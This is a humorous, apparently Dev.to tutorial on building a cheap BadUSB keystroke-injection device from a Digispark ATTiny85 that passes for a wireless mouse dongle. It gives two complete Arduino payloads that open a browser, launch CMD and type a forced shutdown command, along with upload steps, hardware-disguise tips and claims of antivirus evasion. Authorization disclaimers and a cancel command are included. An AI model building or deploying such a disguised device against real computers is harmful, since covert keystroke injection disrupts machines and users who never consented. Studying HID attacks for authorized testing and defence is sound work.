How to Build India's Cheapest (Yet Most Effective) Penetration Testing Tool 🔥

Source: Dev.to

Introduction

Hey there, cyber warriors! Ever wondered how security researchers make those jaw‑dropping demos where a simple USB stick can bring down an entire network? Buckle up – we’re diving deep into the world of HID (Human Interface Device) attacks using the legendary Digispark ATTiny85 – your ticket to penetration‑testing glory without burning a hole in your pocket! 💸

In a country where we’re masters at making the most with the least (जैसे कि मुंबई में 10 फ़ुट के कमरे में 5 लोग रहना), it shouldn’t surprise you that we can build a professional‑grade pentesting tool for less than the price of a decent dosa! 😂

Let’s get started with this mind‑blowing journey of turning a ₹350 chip into a security professional’s secret weapon.

Objective

Our main objective (drumroll please 🥁) is to create an affordable, stealthy HID device that mimics a wireless mouse/keyboard dongle and executes pre‑programmed attacks autonomously upon insertion. Think of it as your personal digital jadoo that works as soon as it touches the target system.

🎯 Specific Goals

• Build a functional HID attack device under ₹500.
• Make it appear as a legitimate wireless mouse dongle.
• Execute an automated payload sequence:
  1. Wake the system.
  2. Open a browser to a specific URL.
  3. Close the browser.
  4. Execute a shutdown command.
• Ensure the device maintains HID functionality post‑attack (for stealth).
• Keep everything undetected by traditional antivirus solutions (because who doesn’t love flying under the radar? 🦅).

Hardware Requirements

Main Hardware (The Hero of Our Story)

• Digispark ATTiny85 USB Development Board – ₹350‑500
  Techtonics Purchase Link

This little beauty is cheaper than your monthly chai consumption but more dangerous to unpatched systems! 💻💥

Optional Accessories (Because We Like to Dress Up Our Toys)

💡 Pro tip: Salvage components from old USB devices. In Indian households, nothing goes to waste! 🏠🗑️

Other Alternatives (For Those Who Want to Spend More 💸)

• Arduino Pro Micro – ₹600‑800
  Robokits Purchase Link

• Pre‑made BadUSB Modules – ₹800‑1200
  Nilgiri Stores Purchase Link

But why spend more when you can build the same thing for less? “सस्ता सोना चाँदी से भी चमकदार होता है!”

Software Requirements

Arduino IDE (The Boss Software) 👑

Free and open‑source. No excuses for not downloading it.

🔗 Download:

Digistump Board Package (The Magical Add‑on)

1. Open Arduino IDE → File → Preferences.

2. In “Additional Boards Manager URLs”, paste:

   http://digistump.com/package_digistump_index.json

3. Click OK.

4. Go to Tools → Board → Boards Manager.

5. Search for “Digistump” and install “Digistump AVR Boards”.

💡 It’s like adding a new channel to your TV – suddenly you can see way cooler content!

How To: The Complete DIY Guide 🛠️

Step 1 – Assembling Hardware (Or Not Assembling, Depending on Your Mood)

The Digispark comes pre‑assembled, so you can plug it in… well, almost!

Option 1: Plug & Play

• Use the existing micro‑USB connector. Fast, easy, no soldering required. Perfect for those who hate DIY.

Option 2: Stealth Mode (काला घोड़ा अंधेरे में दौड़ता है)

1. Desolder the micro‑USB connector (if you’re brave enough 🤯).
2. Salvage an old USB‑A male connector (from a broken mouse or extension cable).
3. Solder wires directly to the ATTiny85 pins:
   • VCC → 5 V
   • GND → GND
   • D+ → Pin 3
   • D‑ → Pin 4
4. Enclose everything in a USB‑shaped case.
5. Add hot glue for that premium, waterproof feel! 😎

Step 2 – What Will We Do Exactly?

The (authorized) evil plan:

1. Wake a sleeping computer.
2. Open a browser to a specified URL.
3. Close the browser.
4. Open Command Prompt (CMD).
5. Execute a shutdown command with a 60‑second countdown.
6. Keep mouse functionality so the device looks like a genuine wireless mouse dongle.

Step 3 – The Payload (What Makes This Device Dangerous) 😈

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.delay(3000);               // Give the host time to recognize the device
  DigiKeyboard.sendKeyStroke(0);          // Initialize
  DigiKeyboard.delay(100);

  // Wait for system to fully wake up
  DigiKeyboard.delay(3000);

  // Open Run dialog (Windows+R)
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);

  // Type cmd and press Enter
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  // Execute shutdown command (adjust as needed)
  DigiKeyboard.print("shutdown /s /t 60");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  // Open default browser to a URL (example: https://example.com)
  DigiKeyboard.print("start https://example.com");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

  // Close the browser (Alt+F4)
  DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
}

void loop() {
  // Keep the device acting as a normal mouse/keyboard after the payload
}

Feel free to modify the payload to suit your testing scenario.

Final Thoughts

With a ₹350‑500 budget, a few basic tools, and a bit of curiosity, you can craft a powerful HID attack platform that looks like an innocuous mouse dongle. Use it responsibly, only on systems you have explicit permission to test, and always follow ethical guidelines. Happy hacking! 🚀

Digispark HID Attack Payload

#include 

void setup() {
  // Give the computer time to recognize the device
  DigiKeyboard.delay(5000);

  // Open Run dialog (Win + R)
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);

  // Launch Chrome/Edge with the specified URL
  DigiKeyboard.print("chrome.exe https://nitinkumar30.netlify.app/");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(8000);

  // Close browser
  DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
  DigiKeyboard.delay(1000);

  // Open CMD
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);

  // Execute shutdown command
  DigiKeyboard.print("shutdown /s /t 60");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {
  // Nothing to do here (single‑shot attack)
}

📺 Fullscreen Controls

• Enter fullscreen mode
• Exit fullscreen mode

💡 Understanding the Payload

• DigiKeyboard.delay() – Gives the system time to process actions.
• sendKeyStroke(KEY_R, MOD_GUI_LEFT) – Equivalent to pressing Windows Key + R.
• DigiKeyboard.print() – Types text characters.
• MOD_ALT_LEFT / MOD_GUI_LEFT – Modifier keys (Alt, Windows key).

Step 4: Instructions to Upload Payload (The Moment of Truth! ⚡)

1. Open Arduino IDE – Ensure the Digistump package is installed.

2. Select Board Settings – Tools → Board → Digispark (Default - 16.5 MHz)

3. Paste Your Payload Code – Copy‑paste the code block above into the IDE.

4. Click Verify – Confirm there are no compilation errors.

5. Click Upload – The upload starts before the device is plugged in.

6. NOW (and only NOW) plug in your Digispark – The device receives the code when connected.

7. Watch for the success message:

   Micronucleus done. Thank you!

⏰ Important Timing Tip: You have 60 seconds after clicking Upload to plug in the device. Set an alarm if you tend to forget! ⏰

Testing & Deployment (The Fun Part! 🎯)

Safe Testing Protocol

• Use a test computer you own or have explicit permission to test.
• Save all work (no one likes losing data!).
• Plug in the Digispark and observe the payload execution.
• If the shutdown command runs, cancel it quickly by typing shutdown /a in CMD.

Deployment Tips

• The device retains HID functionality after the attack, appearing as a legitimate mouse.
• Most systems don’t scan USB‑based HID devices with antivirus, which is why this method works well.

Security Pro Tip: This attack bypasses traditional AV detection because it injects keyboard input rather than dropping a malicious file.

Why This Method Works Like Magic ✨

Undetectable & Stealthy

• Appears as a standard HID device – The Digispark looks like any USB mouse or keyboard.
• No file write required – Unlike USB drives, it never mounts as storage, so file‑based AV can’t scan it.
• Keyboard/Mouse input – AV won’t flag the keystrokes shutdown /s.
• Physical appearance – With a proper casing it can look like a wireless mouse dongle, making it innocuous.

As they say, the best hiding place is in plain sight! 🙈

Legal & Ethical Reminder (Read This Before Getting Overconfident! ⚠️)

🚨 SERIOUS BUSINESS SECTION – PLEASE READ CAREFULLY 🚨

This technique is extremely powerful and should only be used in authorized penetration‑testing scenarios with:

• Written permission from the system/network owner.
• Proper documentation and approval from relevant authorities.
• Compliance with local regulations (e.g., IT Act 2000 in India).
• Responsible disclosure practices if vulnerabilities are discovered.

❌ DON’TS

• Don’t plug this into random public computers (e.g., cyber cafés).
• Don’t use it to prank friends.
• Don’t test on systems you don’t own without explicit written permission.
• Don’t jeopardize your job or face legal consequences because you thought it was a joke.

✅ DOs

• Use only in authorized pentesting engagements.
• Document all testing activities.
• Follow responsible disclosure practices.
• Educate organizations about USB security risks.

Summary

Let’s wrap this up faster than a shutdown command executes! 😂

What we’ve covered:

• Building a professional‑grade HID attack device for under ₹500.
• Making it look like a legitimate wireless mouse dongle.
• Programming it to execute automated payloads that bypass file‑based AV detection.
• Understanding the technical aspects while keeping costs minimal.

Key Takeaways

The Digispark ATTiny85 is the “Aam Aadmi” of penetration‑testing hardware – affordable, accessible, and shockingly effective. Whether you’re a security professional, researcher, or hobbyist, this device proves that sometimes the cheapest solution is the most powerful one.

Remember: With great power (and cheap hardware) comes great responsibility! 👨‍💻✨